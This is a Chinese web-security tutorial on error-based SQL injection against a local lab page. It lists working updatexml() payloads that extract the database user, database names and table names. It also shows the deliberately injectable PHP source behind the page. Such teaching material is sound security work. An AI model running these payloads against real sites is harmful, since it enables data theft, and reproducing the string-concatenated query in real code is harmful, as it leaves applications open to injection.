欢迎来到代码驿站!

当前位置:首页 >

Web安全解析报错注入攻击原理

时间:2022-08-07 08:58:20|栏目:|点击:

1.报错注入攻击

报错注入攻击的测试地址:http://127.0.0.1/sqli/error.php?username=1。

访问该网址时,页面返回ok,如图28所示。

 

图28 访问username=1时页面的的结果

访问http://127.0.0.1/sqli/error.php?username=1',因为参数username的值是1',在数据库中执行SQL时,会因为多了一个单引号而报错,输出到页面的结果如图29所示。

 

图29 访问username=1'时页面的的结果

通过页面返回结果可以看出,程序直接将错误信息输入到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()延时SQL语句获取user()的值,SQL语句如下所示。

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

Updatexml()函数:Updatexml(xml_target,xpath_expr,new_xml)

xml_target:需要操作的xml片段

xpath_expr:需要更新的xml路径(Xpath格式)

new_xml:更新后的内容

其中0x7e是ASCII编码,解码结果为~,如图30所示。

 

图30 利用updatexml获取user()

然后尝试获取当前数据库的库名,如图31所示,语句如下所示。

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

图31 利用updatexml获取database()

接着可以利用select语句继续获取数据库中的库名、表名和字段名,查询语句与Union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句。构造的语句如下所示。

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

结果如图32所示,以此类推,可以获取所有数据库的库名。

 

图32 利用报错注入获取数据库名

如图33所示,构造查询表的语句,如下所示,可以获取数据库test的表名。

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+

 

图33 利用报错注入获取数据库表名

2.报错注入代码分析

在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,技术处ok;如果出错,则通过echo mysqli_error(@&con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),代码如下所示。

<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
    echo "连接失败: " . mysqli_connect_error();
}
$username = @$_GET['username'];
$sql = "select * from users where `username`='".$username."'";

if($result = mysqli_query($con,$sql))
{
    echo "ok";
}
else
{
    echo mysqli_error($con);
}

?>

输入username=1'时,SQL语句为select *from users where `username`=‘1'。执行时,会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor()、updatexml()等函数将要查询的内容输出到页面上。

上一篇:持续集成工具之Jenkins安装部署的详细教程

栏    目:

下一篇:Elasticsearch之基本查询及组合查询操作示例

本文标题:Web安全解析报错注入攻击原理

本文地址:http://www.codeinn.net/misctech/210062.html

推荐教程

广告投放 | 联系我们 | 版权申明

重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:914707363 | 邮箱:codeinn#126.com(#换成@)

Copyright © 2020 代码驿站 版权所有